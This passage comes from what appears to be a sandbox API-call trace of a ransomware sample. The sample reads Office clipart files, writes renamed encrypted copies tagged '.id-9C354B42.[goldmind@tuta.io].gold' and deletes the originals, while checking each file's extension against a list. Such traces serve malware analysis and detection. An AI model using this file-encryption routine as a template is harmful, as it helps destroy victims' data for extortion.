returned 4 [0052.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString=".7z") returned 3 [0052.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString=".dbf") returned 4 [0052.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString=".1cd") returned 4 [0052.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString=".jpg") returned 4 [0052.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString=".doc") returned 4 [0052.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString=".docx") returned 5 [0052.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.917] lstrlenW (lpString=".pdf") returned 4 [0052.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString=".xls") returned 4 [0052.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.917] lstrlenW (lpString=".xlsx") returned 5 [0052.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.917] lstrlenW (lpString=".ppt") returned 4 [0052.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString=".zip") returned 4 [0052.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.918] lstrlenW (lpString=".rar") returned 4 [0052.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.918] lstrlenW (lpString=".bz2") returned 4 [0052.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.918] lstrlenW (lpString=".7z") returned 3 [0052.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.918] lstrlenW (lpString=".dbf") returned 4 [0052.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.918] lstrlenW (lpString=".1cd") returned 4 [0052.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.918] lstrlenW (lpString=".jpg") returned 4 [0052.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.918] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.918] lstrlenW (lpString="BL00242_.WMF") returned 12 [0052.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.918] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=4024) returned 1 [0052.918] CloseHandle (hObject=0x178) returned 1 [0052.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0052.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.919] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.919] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.919] GetLastError () returned 0x0 [0052.919] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xfb8, lpOverlapped=0x0) returned 1 [0052.920] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0052.921] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0052.921] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.921] SetEndOfFile (hFile=0x184) returned 1 [0052.921] CloseHandle (hObject=0x184) returned 1 [0052.921] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.921] SetEndOfFile (hFile=0x178) returned 1 [0052.922] CloseHandle (hObject=0x178) returned 1 [0052.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString=".doc") returned 4 [0052.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString=".docx") returned 5 [0052.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.923] lstrlenW (lpString=".pdf") returned 4 [0052.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString=".xls") returned 4 [0052.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.923] lstrlenW (lpString=".xlsx") returned 5 [0052.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.923] lstrlenW (lpString=".ppt") returned 4 [0052.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString=".zip") returned 4 [0052.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.923] lstrlenW (lpString=".rar") returned 4 [0052.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString=".bz2") returned 4 [0052.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString=".7z") returned 3 [0052.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString=".dbf") returned 4 [0052.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString=".1cd") returned 4 [0052.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString=".jpg") returned 4 [0052.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.924] lstrlenW (lpString=".doc") returned 4 [0052.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString=".docx") returned 5 [0052.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.924] lstrlenW (lpString=".pdf") returned 4 [0052.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString=".xls") returned 4 [0052.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.924] lstrlenW (lpString=".xlsx") returned 5 [0052.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.924] lstrlenW (lpString=".ppt") returned 4 [0052.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.924] lstrlenW (lpString=".zip") returned 4 [0052.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.924] lstrlenW (lpString=".rar") returned 4 [0052.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString=".bz2") returned 4 [0052.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString=".7z") returned 3 [0052.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.924] lstrlenW (lpString=".dbf") returned 4 [0052.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.924] lstrlenW (lpString=".1cd") returned 4 [0052.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0052.924] lstrlenW (lpString=".jpg") returned 4 [0052.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.924] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.924] lstrlenW (lpString="BL00247_.WMF") returned 12 [0052.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.925] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=14444) returned 1 [0052.925] CloseHandle (hObject=0x178) returned 1 [0052.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0052.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.925] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.925] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.925] GetLastError () returned 0x0 [0052.925] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x386c, lpOverlapped=0x0) returned 1 [0052.927] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x3870, lpOverlapped=0x0) returned 1 [0052.927] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0052.927] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.928] SetEndOfFile (hFile=0x184) returned 1 [0052.928] CloseHandle (hObject=0x184) returned 1 [0052.928] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.928] SetEndOfFile (hFile=0x178) returned 1 [0052.929] CloseHandle (hObject=0x178) returned 1 [0052.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0052.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.929] lstrlenW (lpString=".doc") returned 4 [0052.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.929] lstrlenW (lpString=".docx") returned 5 [0052.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.929] lstrlenW (lpString=".pdf") returned 4 [0052.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.929] lstrlenW (lpString=".xls") returned 4 [0052.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.929] lstrlenW (lpString=".xlsx") returned 5 [0052.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.929] lstrlenW (lpString=".ppt") returned 4 [0052.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.929] lstrlenW (lpString=".zip") returned 4 [0052.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.930] lstrlenW (lpString=".rar") returned 4 [0052.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString=".bz2") returned 4 [0052.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString=".7z") returned 3 [0052.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".dbf") returned 4 [0052.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".1cd") returned 4 [0052.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".jpg") returned 4 [0052.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".doc") returned 4 [0052.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString=".docx") returned 5 [0052.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.930] lstrlenW (lpString=".pdf") returned 4 [0052.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString=".xls") returned 4 [0052.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.930] lstrlenW (lpString=".xlsx") returned 5 [0052.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.930] lstrlenW (lpString=".ppt") returned 4 [0052.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".zip") returned 4 [0052.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.930] lstrlenW (lpString=".rar") returned 4 [0052.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString=".bz2") returned 4 [0052.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString=".7z") returned 3 [0052.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".dbf") returned 4 [0052.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.930] lstrlenW (lpString=".1cd") returned 4 [0052.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0052.931] lstrlenW (lpString=".jpg") returned 4 [0052.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.931] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.931] lstrlenW (lpString="BL00248_.WMF") returned 12 [0052.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.931] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1536) returned 1 [0052.931] CloseHandle (hObject=0x178) returned 1 [0052.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0052.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.931] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.931] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.932] GetLastError () returned 0x0 [0052.932] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x600, lpOverlapped=0x0) returned 1 [0053.442] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x610, lpOverlapped=0x0) returned 1 [0053.459] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0053.459] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.459] SetEndOfFile (hFile=0x184) returned 1 [0053.459] CloseHandle (hObject=0x184) returned 1 [0053.461] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0053.461] SetEndOfFile (hFile=0x178) returned 1 [0053.461] CloseHandle (hObject=0x178) returned 1 [0053.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0053.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.886] lstrlenW (lpString=".doc") returned 4 [0053.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.886] lstrlenW (lpString=".docx") returned 5 [0053.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.886] lstrlenW (lpString=".pdf") returned 4 [0053.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.886] lstrlenW (lpString=".xls") returned 4 [0053.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.887] lstrlenW (lpString=".xlsx") returned 5 [0053.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.887] lstrlenW (lpString=".ppt") returned 4 [0053.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".zip") returned 4 [0053.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.887] lstrlenW (lpString=".rar") returned 4 [0053.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString=".bz2") returned 4 [0053.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString=".7z") returned 3 [0053.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".dbf") returned 4 [0053.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".1cd") returned 4 [0053.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".jpg") returned 4 [0053.887] lstrcmpiW 